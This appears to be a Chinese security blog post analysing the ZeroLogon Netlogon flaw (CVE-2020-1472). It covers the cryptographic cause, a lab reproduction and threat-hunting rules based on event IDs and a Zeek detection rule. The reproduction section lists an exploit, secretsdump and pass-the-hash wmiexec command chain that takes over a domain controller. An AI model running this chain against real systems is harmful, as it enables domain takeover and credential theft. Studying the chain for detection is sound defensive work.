ZeroLogon(CVE-2020-1472) 分析与狩猎
2020年9月11日,安全公司Secura发布了公告,披露了Microsoft在2020年8月修补的漏洞细节(CVE-2020-1472)。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。本文将从“Zerologon”漏洞原理、漏洞复现、威胁狩猎三个维度对“Zerologon”进行分析。
0x01 漏洞原理
Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证,其协议通讯流程如下:
根据上述流程,攻击者可控的因素有client challenge(在“Zerologon”中,攻击者会将client challenge设置为全0),server challenge在每一轮认证过程中都会变化,secret对应于用户密码的hash,Encrypt的过程采用的是AES-CFB8,其运算过程如下:
AES-CFB8安全性取决于随机选择的IV。但在Netlogon RPC中,作为ComputeNetlogonCredential检查的一部分,IV被错误的设置为0。如果IV和client challenge为全0的话,那么整个AES运算过程变成:
如此一来,通过AES-CFB8加密模式有1/256 概率用8字节全0 明文得到8字节全0密文。
通过上述碰撞方法,攻击者可以向域发起Netlogon 计算机账户认证请求, 使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证,再通过相关调用完成对域控密码的修改。
0x02 漏洞复现
实验环境:
域控:Winserver2012 R2(x64)
IP:10.10.10.10
hostname:DC
域:de1ay.com
攻击机:ubuntu1604(x64)
IP:10.10.10.111
运行exp脚本,成功将AD域控的机器账户DC的密码置换成空:
python3 cve-2020-1472-exploit.py DC 10.10.10.10
此时域控服务器账户密码为空,同等于已知密码,可以导出域内所有用户凭据:
python3 secretsdump.py de1ay/DC$@10.10.10.10 -no-pass
导出hash后,发现DC的hash为31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密码,同时获得了域管administrator的hash,利用administrator的hash拿下域控:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10
0x03 Threat Hunting Rules
根据上述的分析和验证,针对“Zerologon”这样一个全新的威胁,我们已经清楚了攻击者相应技战术TTP(MITRE ATT&CK:TA0004,T1078.002),假设攻击者已经潜伏在企业内网中,并且正在尝试利用“Zerologon”漏洞攻击域控,在基于上述的假设场景的驱动下,我们该如何通过威胁狩猎(Threat Hunting)的方式主动搜寻这个威胁的相关特定信息,从而发现潜伏在企业中的攻击者?
思路一:通过AD系统审计日志
在实验室环境下,如果域控服务器没有打补丁,攻击者利用“Zerologon”漏洞攻击成功后会有event ID 4742:
event ID 4742表示计算机帐户已更改,我们注意到帐户名是“ANONYMOUS LOGON”,受影响的帐户名称是域控制器计算机帐户(DC$)。所以event ID 4742可以用来发现疑似“Zerologon”漏洞攻击行为,但仅仅通过event ID 4742还不够,因为正常的账户更改也会产生event ID 4742,所以会产生一定的误报。由于攻击者需要通过netlogon RPC协议进行多次尝试,还会产生event ID 5805:
所以基于域控的系统审计日志,我们的Threat Hunting Rule可以这么写:
- 在SIEM中同时检索到域控系统审计日志的两个event ID:失败尝试event ID 5580和成功利用漏洞event ID 4742;
- 并且event ID 4742中帐户名为“ANONYMOUS LOGON”
此外,在8月份的补丁中,Microsoft添加了五个新的event ID,以通知易受攻击的Netlogon连接:
- 允许存在漏洞的Netlogon安全通道连接时,将生成event ID 5829
- 拒绝易受攻击的Netlogon连接时,将触发event ID 5827和5828
- 允许存在漏洞的Netlogon连接时触发的event ID 5830和5831
如果域控已经安装了补丁,还可以在SIEM中搜索以上5个event ID进行威胁狩猎。
思路二:通过网络流量
根据上面的分析,攻击者需要使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证。所以网络中将会有大量的netlogon协议信息:
我们可以使用全流量工具过滤出netlogon协议信息(“protocols == dcerpc”),如果短时间内出现大量的NetrServerAuthenticate3请求,并且client credential全为0,这样的行为是比较异常的。可以参考SOC Prime Team利用zeek编写的Threat Hunting Rule:
title: Possible CVE-2020-1472 (zerologon)
description: CVE-2020-1472 (Netlogon Elevation of Privilege Vulnerability) may create thousands of NetrServerReqChallenge & NetrServerAuthenticate3 requests in a short amount of time.
author: SOC Prime Team
date: 2020/09/11
references:
- https://github.com/SecuraBV/CVE-2020-1472
tags:
- attack.lateral_movement
- attack.T1210
logsource:
product: zeek
service: dce_rpc
detection:
selection:
endpoint: 'netlogon'
operation: 'NetrServerReqChallenge'
selection2:
endpoint: 'netlogon'
operation: 'NetrServerAuthenticate3'
timeframe: 1m
condition: selection or selection2 | count() by src_ip > 100
falsepositives:
- 'unknown'
level: high
最后,在实验室环境中,由于“Zerologon”漏洞利用会将域控服务器的密码置为空,会造成域内服务的一些异常,所以这个漏洞不但会对域控的安全性造成威胁,实际的攻击利用也会影响AD域控的可用性,因此还是及时打补丁吧。
参考资料:
https://www.cynet.com/zerologon/
https://awakesecurity.com/blog/network-threat-hunting-for-zerologon-exploits-cve-2020-1472/
https://blog.zsec.uk/zerologon-attacking-defending/
https://medium.com/@sieutruc/detection-methods-for-the-cve-2020-1472-zerologon-by-using-the-existing-windows-log-9761ee69d9fc
- linux学习第五十九篇:LVS DR模式搭建,keepalived lvs
- linux学习第五十四篇:配置Tomcat监听80端口,配置Tomcat的虚拟主机,Tomcat日志
- linux学习第五十六篇:集群介绍,keepalived介绍,用keepalived配置高可用集群
- linux学习第五十八篇: 负载均衡集群介绍,LVS介绍,LVS的调度算法,LVS NAT模式搭建
- Python中eval带来的潜在风险,你知道吗?
- React Native自定义导航条
- android混淆那些坑
- 微信小程序开发入门篇
- Support Annotation Library使用详解
- React Native之Navigator
- React Native组件生命周期
- React Native使用原生组件
- Android ViewDragHelper及移动处理总结
- android 仿音悦台页面交互效果
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法